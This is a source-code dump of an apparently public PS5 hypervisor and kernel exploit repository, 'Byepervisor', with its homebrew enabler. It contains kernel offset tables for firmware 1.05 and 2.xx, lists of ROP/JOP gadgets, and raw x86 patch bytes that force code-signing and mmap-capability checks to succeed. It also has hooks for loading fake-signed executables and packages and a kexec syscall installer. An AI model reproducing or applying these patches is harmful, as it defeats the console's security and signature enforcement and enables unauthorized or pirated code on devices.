├── .gitignore ├── scripts └── __init__.py ├── .vscode └── settings.json ├── hen ├── src │ ├── crt0.s │ ├── kdlsym.cpp │ ├── main.cpp │ ├── fkeys.cpp │ ├── util.cpp │ ├── hook.cpp │ ├── patch_shellcore.cpp │ └── fself.cpp ├── include │ ├── patch_shellcore.h │ ├── proc.h │ ├── fkeys.h │ ├── util.h │ ├── config.h │ ├── shellcore_patches │ │ ├── common.h │ │ └── 2_50.h │ ├── hook.h │ ├── kdlsym.h │ ├── hooks │ │ └── 2_50.h │ ├── offsets │ │ └── 2_50.h │ ├── fpkg.h │ ├── fself.h │ └── fake.h ├── Makefile └── link.x ├── Byepervisor_ Breaking PS5 Hypervisor Security.pdf ├── _old_jump_table_exploit ├── include │ ├── notify.h │ ├── bump_alloc.h │ ├── mirror.h │ ├── util.h │ ├── config.h │ ├── debug_log.h │ ├── kdlsym.h │ ├── offsets │ │ ├── 2_00.h │ │ └── 2_50.h │ ├── paging.h │ └── krop.h ├── src │ ├── notify.c │ ├── bump_alloc.c │ ├── kdlsym.c │ ├── util.c │ ├── mirror.c │ ├── krop.c │ ├── main.c │ └── paging.c ├── Makefile └── dump_kernel.py ├── include ├── patching.h ├── hen.h ├── mirror.h ├── config.h ├── util.h ├── debug_log.h ├── offsets │ ├── 1_05.h │ └── 2_50.h ├── patches │ ├── patch_common.h │ ├── 1_05.h │ └── 2_50.h ├── kdlsym.h ├── kexec.h ├── self.h ├── elf.h └── paging.h ├── src ├── hen.S ├── kexec.cpp ├── kdlsym.cpp ├── util.cpp ├── patching.cpp ├── main.cpp ├── mirror.cpp ├── paging.cpp └── self.cpp ├── Makefile ├── LICENSE ├── dump_kernel.py ├── README.md └── dump_self.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.elf 2 | *.o 3 | *.bin -------------------------------------------------------------------------------- /scripts/__init__.py: -------------------------------------------------------------------------------- 1 | from .bn_view_ps5_kernel import PS5KernelView 2 | 3 | PS5KernelView.register() 4 | -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "files.associations": { 3 | "compare": "c", 4 | "initializer_list": "c" 5 | } 6 | } -------------------------------------------------------------------------------- /hen/src/crt0.s: -------------------------------------------------------------------------------- 1 | .intel_syntax noprefix 2 | .text 3 | 4 | .section .text.prologue 5 | .global _start 6 | _start: 7 | jmp kernel_main 8 | -------------------------------------------------------------------------------- /Byepervisor_ Breaking PS5 Hypervisor Security.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PS5Dev/Byepervisor/HEAD/Byepervisor_ Breaking PS5 Hypervisor Security.pdf -------------------------------------------------------------------------------- /_old_jump_table_exploit/include/notify.h: -------------------------------------------------------------------------------- 1 | #ifndef NOTIFY_H 2 | #define NOTIFY_H 3 | 4 | int flash_notification(const char *fmt, ...); 5 | 6 | #endif // NOTIFY_H -------------------------------------------------------------------------------- /hen/include/patch_shellcore.h: -------------------------------------------------------------------------------- 1 | #ifndef PATCH_SHELLCORE_H 2 | #define PATCH_SHELLCORE_H 3 | 4 | void apply_shellcore_patches(); 5 | 6 | #endif // PATCH_SHELLCORE_H -------------------------------------------------------------------------------- /include/patching.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef PATCHING_H 3 | #define PATCHING_H 4 | 5 | #include "patches/patch_common.h" 6 | 7 | // int install_hook(hook_id id, void *func); 8 | 9 | int apply_kernel_patches(); 10 | // int apply_test_hook(); 11 | 12 | #endif // PATCHING_H -------------------------------------------------------------------------------- /src/hen.S: -------------------------------------------------------------------------------- 1 | .section .rodata 2 | .global KELF 3 | .type KELF, @object 4 | .align 16 5 | KELF: 6 | .incbin HEN_BIN_PATH 7 | KELF_END: 8 | .global KELF_SZ 9 | .type KELF_SZ, @object 10 | .align 16 11 | KELF_SZ: 12 | .quad KELF_END - KELF 13 | -------------------------------------------------------------------------------- /_old_jump_table_exploit/include/bump_alloc.h: -------------------------------------------------------------------------------- 1 | #ifndef BUMP_ALLOC_H 2 | #define BUMP_ALLOC_H 3 | 4 | #define BUMP_ALLOC_AREA_SIZE 0x100000 5 | 6 | void *bump_alloc(uint64_t len); 7 | void *bump_calloc(uint64_t count, uint64_t len); 8 | void bump_reset(); 9 | 10 | #endif // BUMP_ALLOC_H -------------------------------------------------------------------------------- /include/hen.h: -------------------------------------------------------------------------------- 1 | /* Autogenerated by hxtools bin2c */ 2 | #ifndef HEN_H 3 | #define HEN_H 1 4 | 5 | #ifdef __cplusplus 6 | extern "C" { 7 | #endif 8 | 9 | extern uint8_t KELF[]; 10 | extern uint64_t KELF_SZ; 11 | 12 | #ifdef __cplusplus 13 | } /* extern "C" */ 14 | #endif 15 | 16 | 17 | #endif /* HEN_H */ 18 | -------------------------------------------------------------------------------- /include/mirror.h: -------------------------------------------------------------------------------- 1 | #ifndef MIRROR_H 2 | #define MIRROR_H 3 | 4 | void *mirror_page(uint64_t kernel_va); 5 | void *mirror_page_no_store(uint64_t kernel_va); 6 | void *mirror_page_range(uint64_t kernel_va, int num_pages); 7 | void *get_mirrored_addr(uint64_t kernel_va); 8 | void reset_mirrors(); 9 | 10 | #endif // MIRROR_H -------------------------------------------------------------------------------- /_old_jump_table_exploit/include/mirror.h: -------------------------------------------------------------------------------- 1 | #ifndef MIRROR_H 2 | #define MIRROR_H 3 | 4 | void *mirror_page(uint64_t kernel_va); 5 | void *mirror_page_no_store(uint64_t kernel_va); 6 | void *mirror_page_range(uint64_t kernel_va, int num_pages); 7 | void *get_mirrored_addr(uint64_t kernel_va); 8 | void reset_mirrors(); 9 | 10 | #endif // MIRROR_H -------------------------------------------------------------------------------- /hen/include/proc.h: -------------------------------------------------------------------------------- 1 | #ifndef PROC_H 2 | #define PROC_H 3 | 4 | #define PROC_OFFSET_P_PID 0x0BC 5 | #define PROC_OFFSET_P_VMSPACE 0x200 6 | #define PROC_OFFSET_P_COMM 0x564 7 | 8 | #define VM_ENTRY_OFFSET_NEXT 0x008 9 | #define VM_ENTRY_OFFSET_START 0x020 10 | #define VM_ENTRY_OFFSET_PROT 0x064 11 | #define VM_ENTRY_OFFSET_NAME 0x142 12 | 13 | 14 | #endif // PROC_H -------------------------------------------------------------------------------- /hen/include/fkeys.h: -------------------------------------------------------------------------------- 1 | #ifndef FKEYS_H 2 | #define FKEYS_H 3 | 4 | #include 5 | 6 | struct key_area 7 | { 8 | uint64_t bitmask; 9 | char pad[24]; 10 | char key_data[63][32]; 11 | }; 12 | 13 | extern struct key_area shared_area; 14 | 15 | int register_fake_key(const char key_data[32]); 16 | int unregister_fake_key(int key_id); 17 | int get_fake_key(int key_id, char key_data[32]); 18 | 19 | #endif // FKEYS_H -------------------------------------------------------------------------------- /_old_jump_table_exploit/include/util.h: -------------------------------------------------------------------------------- 1 | #ifndef UTIL_H 2 | #define UTIL_H 3 | 4 | // Core pinning 5 | int pin_to_core(int num); 6 | void pin_to_first_available_core(); 7 | int get_cpu_core(); 8 | 9 | // Kernel read/write 10 | void kernel_write8(uint64_t addr, uint64_t val); 11 | void kernel_write4(uint64_t addr, uint32_t val); 12 | uint64_t kernel_read8(uint64_t addr); 13 | uint32_t kernel_read4(uint64_t addr); 14 | 15 | // Dumping 16 | void DumpHex(const void* data, size_t size); 17 | 18 | #endif // UTIL_H -------------------------------------------------------------------------------- /hen/include/util.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef UTIL_H 3 | #define UTIL_H 4 | 5 | #include 6 | 7 | uint64_t get_dmap_addr(uint64_t pa); 8 | 9 | void *find_proc_by_name(const char *name); 10 | void *get_proc_vmmap(void *proc); 11 | 12 | void memcpy(void *dest, const void *src, size_t n); 13 | size_t strlen(const char *str); 14 | char *strstr(const char *str, const char *substring); 15 | int strncmp(const char * s1, const char * s2, size_t n); 16 | 17 | extern void *curthread; 18 | 19 | #endif // UTIL_H -------------------------------------------------------------------------------- /hen/include/config.h: -------------------------------------------------------------------------------- 1 | #ifndef CONFIG_H 2 | #define CONFIG_H 3 | 4 | /* 5 | * Enable debug logging via TCP connection to PC 6 | */ 7 | #define PC_DEBUG_ENABLED 1 8 | 9 | /* 10 | * PC IP address for debug logging 11 | */ 12 | #define PC_DEBUG_IP "10.0.0.143" 13 | 14 | /* 15 | * PC IP port for debug logging 16 | */ 17 | #define PC_DEBUG_PORT 5655 18 | 19 | /* 20 | * TCP port to run the RPC server on 21 | */ 22 | #define RPC_TCP_PORT 9002 23 | 24 | #endif // CONFIG_H -------------------------------------------------------------------------------- /include/config.h: -------------------------------------------------------------------------------- 1 | #ifndef CONFIG_H 2 | #define CONFIG_H 3 | 4 | /* 5 | * Enable debug logging via TCP connection to PC 6 | */ 7 | #define PC_DEBUG_ENABLED 0 8 | 9 | /* 10 | * PC IP address for debug logging 11 | */ 12 | #define PC_DEBUG_IP "10.0.0.143" 13 | 14 | /* 15 | * PC IP port for debug logging 16 | */ 17 | #define PC_DEBUG_PORT 5655 18 | 19 | /* 20 | * TCP port to run the RPC server on 21 | */ 22 | #define RPC_TCP_PORT 9002 23 | 24 | #endif // CONFIG_H 25 | -------------------------------------------------------------------------------- /_old_jump_table_exploit/include/config.h: -------------------------------------------------------------------------------- 1 | #ifndef CONFIG_H 2 | #define CONFIG_H 3 | 4 | /* 5 | * Enable debug logging via TCP connection to PC 6 | */ 7 | #define PC_DEBUG_ENABLED 1 8 | 9 | /* 10 | * PC IP address for debug logging 11 | */ 12 | #define PC_DEBUG_IP "10.0.0.143" 13 | 14 | /* 15 | * PC IP port for debug logging 16 | */ 17 | #define PC_DEBUG_PORT 5655 18 | 19 | /* 20 | * TCP port to run the RPC server on 21 | */ 22 | #define RPC_TCP_PORT 9002 23 | 24 | #endif // CONFIG_H -------------------------------------------------------------------------------- /include/util.h: -------------------------------------------------------------------------------- 1 | #ifndef UTIL_H 2 | #define UTIL_H 3 | 4 | #define MAX(a,b) ((a) > (b) ? (a) : (b)) 5 | 6 | // Core pinning 7 | int pin_to_core(int num); 8 | void pin_to_first_available_core(); 9 | int get_cpu_core(); 10 | 11 | // Kernel read/write 12 | void kernel_write8(uint64_t addr, uint64_t val); 13 | void kernel_write4(uint64_t addr, uint32_t val); 14 | uint64_t kernel_read8(uint64_t addr); 15 | uint32_t kernel_read4(uint64_t addr); 16 | 17 | // Dumping 18 | void DumpHex(const void* data, size_t size); 19 | 20 | // Notifications 21 | int flash_notification(const char *fmt, ...); 22 | 23 | #endif // UTIL_H -------------------------------------------------------------------------------- /include/debug_log.h: -------------------------------------------------------------------------------- 1 | #ifndef DEBUG_LOG_H 2 | #define DEBUG_LOG_H 3 | 4 | extern int g_debug_sock; 5 | 6 | #define SOCK_LOG(format, ...) \ 7 | { \ 8 | char _macro_printfbuf[512]; \ 9 | int _macro_size = sprintf(_macro_printfbuf, format, ##__VA_ARGS__); \ 10 | write(g_debug_sock, _macro_printfbuf, _macro_size); \ 11 | } while(0); 12 | 13 | void DumpHex(const void* data, size_t size); 14 | 15 | #endif // DEBUG_LOG_H 16 | -------------------------------------------------------------------------------- /_old_jump_table_exploit/include/debug_log.h: -------------------------------------------------------------------------------- 1 | #ifndef DEBUG_LOG_H 2 | #define DEBUG_LOG_H 3 | 4 | extern int g_debug_sock; 5 | 6 | #define SOCK_LOG(format, ...) \ 7 | { \ 8 | char _macro_printfbuf[512]; \ 9 | int _macro_size = sprintf(_macro_printfbuf, format, ##__VA_ARGS__); \ 10 | write(g_debug_sock, _macro_printfbuf, _macro_size); \ 11 | } while(0); 12 | 13 | void DumpHex(const void* data, size_t size); 14 | 15 | #endif // DEBUG_LOG_H 16 | -------------------------------------------------------------------------------- /include/offsets/1_05.h: -------------------------------------------------------------------------------- 1 | #ifndef OFFSETS_1_05_H 2 | #define OFFSETS_1_05_H 3 | 4 | uint64_t g_sym_map_105[] = { 5 | 0x4ADF5B0, // KERNEL_SYM_DMPML4I 6 | 0x4ADF5B4, // KERNEL_SYM_DMPDPI 7 | 0x4ADF30C, // KERNEL_SYM_PML4PML4I 8 | 0x4ADF328, // KERNEL_SYM_PMAP_STORE 9 | 0x7980000, // KERNEL_SYM_DATA_CAVE 10 | }; 11 | 12 | uint64_t g_patch_map_105[] = { 13 | 0x05A9C20, // KERNEL_PATCH_HAS_MMAP_SELF_CAPABILITY 14 | 0x05A9C30, // KERNEL_PATCH_IS_ALLOWED_TO_MMAP_SELF 15 | 0x0981909, // KERNEL_PATCH_MMAP_SELF_CALL_IS_LOADABLE 16 | 0x02F17D0, // KERNEL_PATCH_SYS_GETGID 17 | }; 18 | 19 | #endif // OFFSETS_1_05_H -------------------------------------------------------------------------------- /include/patches/patch_common.h: -------------------------------------------------------------------------------- 1 | #ifndef PATCH_COMMON_H 2 | #define PATCH_COMMON_H 3 | 4 | struct patch 5 | { 6 | const char *purpose; 7 | uint64_t offset; 8 | const char *data; 9 | int size; 10 | }; 11 | 12 | enum hook_id 13 | { 14 | HOOK_TEST_SYS_IS_DEVELOPMENT_MODE = 0, 15 | HOOK_SCE_SBL_AUTHMGR_IS_LOADABLE_2, 16 | HOOK_SCE_SBL_AUTHMGR_IS_LOADABLE__GET_PATH_ID, 17 | HOOK_SCE_SBL_AUTHMGR_SM_LOAD_SELF_BLOCK__MAILBOX, 18 | HOOK_SCE_SBL_AUTHMGR_SM_LOAD_SELF_SEGMENT__MAILBOX, 19 | HOOK_SCE_SBL_AUTHMGR_VERIFY_HEADER_A, 20 | HOOK_SCE_SBL_AUTHMGR_VERIFY_HEADER_B 21 | }; 22 | 23 | struct hook 24 | { 25 | enum hook_id id; 26 | const char *purpose; 27 | uint64_t func_offset; 28 | uint64_t call_offset; 29 | }; 30 | 31 | #endif // PATCH_COMMON_H -------------------------------------------------------------------------------- /include/kdlsym.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef KDLSYM_H 3 | #define KDLSYM_H 4 | 5 | typedef enum { 6 | KERNEL_SYM_DMPML4I, 7 | KERNEL_SYM_DMPDPI, 8 | KERNEL_SYM_PML4PML4I, 9 | KERNEL_SYM_PMAP_STORE, 10 | KERNEL_SYM_DATA_CAVE, 11 | KERNEL_SYM_CODE_CAVE, 12 | KERNEL_SYM_PS4_SYSENT, 13 | KERNEL_SYM_PPR_SYSENT, 14 | KERNEL_SYM_GADGET_JMP_PTR_RSI, 15 | KERNEL_SYM_MAX 16 | } ksym_t; 17 | 18 | typedef enum { 19 | KERNEL_PATCH_HAS_MMAP_SELF_CAPABILITY, 20 | KERNEL_PATCH_IS_ALLOWED_TO_MMAP_SELF, 21 | KERNEL_PATCH_MMAP_SELF_CALL_IS_LOADABLE, 22 | KERNEL_PATCH_SYS_GETGID, 23 | KERNEL_PATCH_MAX 24 | } kpatch_t; 25 | 26 | uint64_t kdlsym(ksym_t sym); 27 | uint64_t kdlpatch(kpatch_t patch); 28 | uint64_t ktext(uint64_t offset); 29 | 30 | #endif // KDLSYM_H -------------------------------------------------------------------------------- /_old_jump_table_exploit/src/notify.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "notify.h" 7 | 8 | typedef struct notify_request { 9 | char unk_00h[45]; 10 | char message[3075]; 11 | } notify_request_t; 12 | 13 | int sceKernelSendNotificationRequest(int, notify_request_t*, size_t, int); 14 | 15 | int flash_notification(const char *fmt, ...) 16 | { 17 | va_list args; 18 | notify_request_t req; 19 | 20 | // Zero-init buffer to prevent dumb bugs 21 | bzero(&req, sizeof(req)); 22 | 23 | // Construct message 24 | va_start(args, fmt); 25 | vsnprintf((char *) &req.message, sizeof(req.message), fmt, args); 26 | va_end(args); 27 | 28 | return sceKernelSendNotificationRequest(0, &req, sizeof(req), 0); 29 | } 30 | -------------------------------------------------------------------------------- /_old_jump_table_exploit/Makefile: -------------------------------------------------------------------------------- 1 | PS5_HOST ?= ps5 2 | PS5_PORT ?= 9021 3 | 4 | ifdef PS5_PAYLOAD_SDK 5 | include $(PS5_PAYLOAD_SDK)/toolchain/prospero.mk 6 | else 7 | $(error PS5_PAYLOAD_SDK is undefined) 8 | endif 9 | 10 | ELF := byepervisor_old.elf 11 | 12 | CFLAGS := -Wall -Werror -g -I./include 13 | 14 | all: $(ELF) 15 | 16 | $(ELF): src/main.c src/bump_alloc.c src/kdlsym.c src/krop.c src/mirror.c src/notify.c src/paging.c src/util.c 17 | $(CC) $(CFLAGS) -o $@ $^ 18 | 19 | clean: 20 | rm -f $(ELF) 21 | 22 | test: $(ELF) 23 | $(PS5_DEPLOY) -h $(PS5_HOST) -p $(PS5_PORT) $^ 24 | 25 | debug: $(ELF) 26 | gdb \ 27 | -ex "target extended-remote $(PS5_HOST):2159" \ 28 | -ex "file $(ELF)" \ 29 | -ex "remote put $(ELF) /data/$(ELF)" \ 30 | -ex "set remote exec-file /data/$(ELF)" \ 31 | -ex "start" 32 | -------------------------------------------------------------------------------- /include/kexec.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef KEXEC_H 3 | #define KEXEC_H 4 | 5 | struct sysent { 6 | uint32_t n_arg; // 0x00 7 | uint32_t pad_04h; // 0x04 8 | uint64_t sy_call; // 0x08 9 | uint64_t sy_auevent; // 0x10 10 | uint64_t sy_systrace_args; // 0x18 11 | uint32_t sy_entry; // 0x20 12 | uint32_t sy_return; // 0x24 13 | uint32_t sy_flags; // 0x28 14 | uint32_t sy_thrcnt; // 0x2C 15 | }; 16 | 17 | struct kexec_args { 18 | uint64_t fptr; // 0x00 19 | uint64_t fw; // 0x08 20 | uint64_t kernel_base; // 0x10 21 | }; 22 | 23 | void install_custom_syscall(int sysc, uint32_t num_args, uint64_t gadget); 24 | void install_kexec(); 25 | int kexec(uint64_t fptr); 26 | 27 | #endif // KEXEC_H -------------------------------------------------------------------------------- /hen/include/shellcore_patches/common.h: -------------------------------------------------------------------------------- 1 | #ifndef COMMON_H 2 | #define COMMON_H 3 | 4 | struct patch 5 | { 6 | uint64_t offset; 7 | const char data[0x100]; 8 | int size; 9 | }; 10 | 11 | enum uio_rw { UIO_READ, UIO_WRITE }; 12 | 13 | /* Segment flag values. */ 14 | enum uio_seg { 15 | UIO_USERSPACE, /* from user data space */ 16 | UIO_SYSSPACE, /* from system space */ 17 | UIO_NOCOPY /* don't copy, already in object */ 18 | }; 19 | 20 | struct uio { 21 | struct iovec *uio_iov; /* scatter/gather list */ 22 | int uio_iovcnt; /* length of scatter/gather list */ 23 | off_t uio_offset; /* offset in target object */ 24 | ssize_t uio_resid; /* remaining bytes to process */ 25 | enum uio_seg uio_segflg; /* address space */ 26 | enum uio_rw uio_rw; /* operation */ 27 | void *uio_td; /* owner */ 28 | }; 29 | 30 | #endif // COMMON_H -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | PS5_HOST ?= ps5 2 | PS5_PORT ?= 9021 3 | 4 | ifdef PS5_PAYLOAD_SDK 5 | include $(PS5_PAYLOAD_SDK)/toolchain/prospero.mk 6 | else 7 | $(error PS5_PAYLOAD_SDK is undefined) 8 | endif 9 | 10 | ELF := byepervisor.elf 11 | 12 | CFLAGS := -std=c++11 -Wall -Werror -g -I./include -DHEN_BIN_PATH="\"hen/hen.bin\"" 13 | 14 | all: $(ELF) 15 | 16 | $(ELF): src/main.cpp src/kdlsym.cpp src/kexec.cpp src/mirror.cpp src/paging.cpp src/patching.cpp src/self.cpp src/util.cpp src/hen.S 17 | $(CXX) $(CFLAGS) -o $@ $^ 18 | 19 | clean: 20 | rm -f $(ELF) 21 | 22 | test: $(ELF) 23 | $(PS5_DEPLOY) -h $(PS5_HOST) -p $(PS5_PORT) $^ 24 | 25 | debug: $(ELF) 26 | gdb \ 27 | -ex "target extended-remote $(PS5_HOST):2159" \ 28 | -ex "file $(ELF)" \ 29 | -ex "remote put $(ELF) /data/$(ELF)" \ 30 | -ex "set remote exec-file /data/$(ELF)" \ 31 | -ex "start" 32 | -------------------------------------------------------------------------------- /include/offsets/2_50.h: -------------------------------------------------------------------------------- 1 | #ifndef OFFSETS_2_50_H 2 | #define OFFSETS_2_50_H 3 | 4 | uint64_t g_sym_map_250[] = { 5 | 0x4CB3B50, // KERNEL_SYM_DMPML4I 6 | 0x4CB3B54, // KERNEL_SYM_DMPDPI 7 | 0x4CB38AC, // KERNEL_SYM_PML4PML4I 8 | 0x4CB38C8, // KERNEL_SYM_PMAP_STORE 9 | 0x7C40000, // KERNEL_SYM_DATA_CAVE 10 | 0x0044000, // KERNEL_SYM_CODE_CAVE 11 | 0x1CDE5E0, // KERNEL_SYM_PS4_SYSENT 12 | 0x1CE6E00, // KERNEL_SYM_PPR_SYSENT 13 | 0x0042000, // KERNEL_SYM_GADGET_JMP_PTR_RSI 14 | }; 15 | 16 | uint64_t g_patch_map_250[] = { 17 | 0x0580EB0, // KERNEL_PATCH_HAS_MMAP_SELF_CAPABILITY 18 | 0x0580EC0, // KERNEL_PATCH_IS_ALLOWED_TO_MMAP_SELF 19 | 0x09A6A59, // KERNEL_PATCH_MMAP_SELF_CALL_IS_LOADABLE 20 | 0x02A67D0, // KERNEL_PATCH_SYS_GETGID 21 | }; 22 | 23 | #endif // OFFSETS_2_50_H -------------------------------------------------------------------------------- /hen/src/kdlsym.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "kdlsym.h" 4 | #include "offsets/2_50.h" 5 | 6 | uint64_t g_fw_version; 7 | uint64_t g_kernel_base = 0; 8 | 9 | void init_kdlsym(uint64_t fw_ver, uint64_t kernel_base) 10 | { 11 | g_fw_version = fw_ver; 12 | g_kernel_base = kernel_base; 13 | } 14 | 15 | uint64_t get_fw_version() 16 | { 17 | return g_fw_version; 18 | } 19 | 20 | uint64_t ktext(uint64_t offset) 21 | { 22 | if (g_kernel_base == 0) 23 | return 0; 24 | 25 | return g_kernel_base + offset; 26 | } 27 | 28 | uint64_t kdlsym(ksym_t sym) 29 | { 30 | if (g_kernel_base == 0) 31 | return 0; 32 | 33 | // Don't overflow sym table 34 | if (sym >= KERNEL_SYM_MAX) 35 | return 0; 36 | 37 | switch (g_fw_version) { 38 | case 0x2000000: 39 | case 0x2200000: 40 | case 0x2250000: 41 | case 0x2260000: 42 | case 0x2300000: 43 | case 0x2500000: 44 | return g_kernel_base + g_sym_map_250[sym]; 45 | } 46 | 47 | return 0; 48 | } 49 | -------------------------------------------------------------------------------- /include/patches/1_05.h: -------------------------------------------------------------------------------- 1 | #ifndef PATCHES_1_05_H 2 | #define PATCHES_1_05_H 3 | 4 | #include "patch_common.h" 5 | 6 | struct patch g_kernel_patches_105[] = { 7 | { 8 | /* 9 | mov qword ptr [rdi + 0x408], 0xc0ffee; 10 | xor eax, eax; 11 | ret 12 | */ 13 | "sys_getgid()", 14 | 0x02F17D0, 15 | "\x48\xC7\x87\x08\x04\x00\x00\xEE\xFF\xC0\x00\x31\xC0\xC3", 16 | 14 17 | }, 18 | { 19 | // mov eax, 1; ret 20 | "sceSblACMgrHasMmapSelfCapability()", 21 | 0x05A9C20, 22 | "\xB8\x01\x00\x00\x00\xC3", 23 | 6 24 | }, 25 | { 26 | // mov eax, 1; ret 27 | "sceSblACMgrIsAllowedToMmapSelf()", 28 | 0x05A9C30, 29 | "\xB8\x01\x00\x00\x00\xC3", 30 | 6 31 | }, 32 | { 33 | // xor eax, eax; 3x nop; 34 | "vm_mmap sceSblAuthMgrIsLoadable() call", 35 | 0x0981909, 36 | "\x31\xC0\x90\x90\x90", 37 | 5 38 | }, 39 | }; 40 | 41 | #endif // PATCHES_1_05_H -------------------------------------------------------------------------------- /hen/Makefile: -------------------------------------------------------------------------------- 1 | PS5_HOST ?= ps5 2 | PS5_PORT ?= 9021 3 | 4 | ELF := hen.elf 5 | BIN := hen.bin 6 | 7 | CFLAGS := -std=c++11 -Wall -Werror -D_KERNEL -I./include -O2 -fno-builtin -nostartfiles -nostdlib -fno-stack-protector -fno-plt -fPIC -Wno-error=frame-address 8 | #SFLAGS := -nostartfiles -nostdlib -fPIC 9 | LFLAGS := -Xlinker -T ./link.x -Wl,--build-id=none 10 | 11 | ODIR := build 12 | SDIR := src 13 | CXXFILES := $(wildcard $(SDIR)/*.cpp) 14 | SFILES := $(wildcard $(SDIR)/*.s) 15 | OBJS := $(patsubst $(SDIR)/%.cpp, $(ODIR)/%.o, $(CXXFILES)) $(patsubst $(SDIR)/%.s, $(ODIR)/%.o, $(SFILES)) 16 | 17 | $(ELF): $(ODIR) $(OBJS) 18 | $(CXX) $(ODIR)/*.o -o $(ELF) $(CFLAGS) $(LFLAGS) 19 | objcopy -O binary $(ELF) $(BIN) 20 | 21 | $(ODIR)/%.o: $(SDIR)/%.cpp 22 | $(CXX) -c -o $@ $< $(CFLAGS) 23 | 24 | $(ODIR)/%.o: $(SDIR)/%.s 25 | $(AS) -c -o $@ $< $(SFLAGS) 26 | 27 | $(ODIR): 28 | @mkdir $@ 29 | 30 | clean: 31 | rm -f $(ELF) $(BIN) $(ODIR)/*.o 32 | 33 | test: $(ELF) 34 | $(PS5_DEPLOY) -h $(PS5_HOST) -p $(PS5_PORT) $^ 35 | 36 | debug: $(ELF) 37 | gdb \ 38 | -ex "target extended-remote $(PS5_HOST):2159" \ 39 | -ex "file $(ELF)" \ 40 | -ex "remote put $(ELF) /data/$(ELF)" \ 41 | -ex "set remote exec-file /data/$(ELF)" \ 42 | -ex "start" 43 | -------------------------------------------------------------------------------- /_old_jump_table_exploit/include/kdlsym.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef KDLSYM_H 3 | #define KDLSYM_H 4 | 5 | typedef enum { 6 | KERNEL_SYM_DMPML4I, 7 | KERNEL_SYM_DMPDPI, 8 | KERNEL_SYM_PML4PML4I, 9 | KERNEL_SYM_DATA_CAVE, 10 | KERNEL_SYM_PMAP_STORE, 11 | KERNEL_SYM_HV_JMP_TABLE, 12 | KERNEL_SYM_HIJACKED_FUNC_PTR, 13 | KERNEL_SYM_MAX 14 | } ksym_t; 15 | 16 | typedef enum { 17 | KERNEL_GADGET_RET, 18 | KERNEL_GADGET_INFLOOP, 19 | KERNEL_GADGET_HYPERCALL_SET_CPUID_PS4, 20 | KERNEL_GADGET_RETURN_ADDR, 21 | KERNEL_GADGET_POP_RDI, 22 | KERNEL_GADGET_POP_RSI, 23 | KERNEL_GADGET_POP_RDX, 24 | KERNEL_GADGET_POP_RAX, 25 | KERNEL_GADGET_POP_RBX, 26 | KERNEL_GADGET_ADD_RAX_RDX, 27 | KERNEL_GADGET_MOV_R9_QWORD_PTR_RDI_48, 28 | KERNEL_GADGET_POP_R12, 29 | KERNEL_GADGET_MOV_QWORD_PTR_RDI_RSI, 30 | KERNEL_GADGET_POP_RSP, 31 | KERNEL_GADGET_MOV_RAX_QWORD_PTR_RAX, 32 | KERNEL_GADGET_MOV_QWORD_PTR_RAX_0, 33 | KERNEL_GADGET_SETJMP, 34 | KERNEL_GADGET_LONGJMP, 35 | KERNEL_GADGET_JOP1, 36 | KERNEL_GADGET_JOP2, 37 | KERNEL_GADGET_MAX 38 | } kgadget_t; 39 | 40 | uint64_t kdlsym(ksym_t sym); 41 | uint64_t kdlgadget(kgadget_t gadget); 42 | uint64_t ktext(uint64_t offset); 43 | 44 | #endif // KDLSYM_H -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | This is free and unencumbered software released into the public domain. 2 | 3 | Anyone is free to copy, modify, publish, use, compile, sell, or 4 | distribute this software, either in source code form or as a compiled 5 | binary, for any purpose, commercial or non-commercial, and by any 6 | means. 7 | 8 | In jurisdictions that recognize copyright laws, the author or authors 9 | of this software dedicate any and all copyright interest in the 10 | software to the public domain. We make this dedication for the benefit 11 | of the public at large and to the detriment of our heirs and 12 | successors. We intend this dedication to be an overt act of 13 | relinquishment in perpetuity of all present and future rights to this 14 | software under copyright law. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 19 | IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR 20 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, 21 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 22 | OTHER DEALINGS IN THE SOFTWARE. 23 | 24 | For more information, please refer to 25 | -------------------------------------------------------------------------------- /hen/include/hook.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef HOOK_H 3 | #define HOOK_H 4 | 5 | enum hook_id 6 | { 7 | HOOK_TEST_SYS_IS_DEVELOPMENT_MODE = 0, 8 | HOOK_FSELF_SCE_SBL_AUTHMGR_IS_LOADABLE_CALL_IS_LOADABLE, 9 | HOOK_FSELF_SCE_SBL_AUTHMGR_AUTH_HEADER, 10 | HOOK_FSELF_SCE_SBL_AUTHMGR_RESUME, 11 | HOOK_FSELF_SCE_SBL_AUTHMGR_LOAD_SELF_SEGMENT, 12 | HOOK_FSELF_SCE_SBL_AUTHMGR_LOAD_SELF_BLOCK, 13 | HOOK_FSELF_SCE_SBL_AUTHMGR_LOAD_MULTIPLE_SELF_BLOCKS, 14 | HOOK_FSELF_SCE_SBL_AUTHMGR_IS_LOADABLE_CALL_GET_PATHID, 15 | HOOK_FPKG_NPDRM_IOCTL_CMD_5_CALL_SCE_SBL_SERVICE_MAILBOX, 16 | HOOK_FPKG_NPDRM_IOCTL_CMD_6_CALL_SCE_SBL_SERVICE_MAILBOX, 17 | HOOK_FPKG_PFS_VERIFY_SUPER_BLOCK_CALL_SCE_SBL_SERVICE_MAILBOX, 18 | 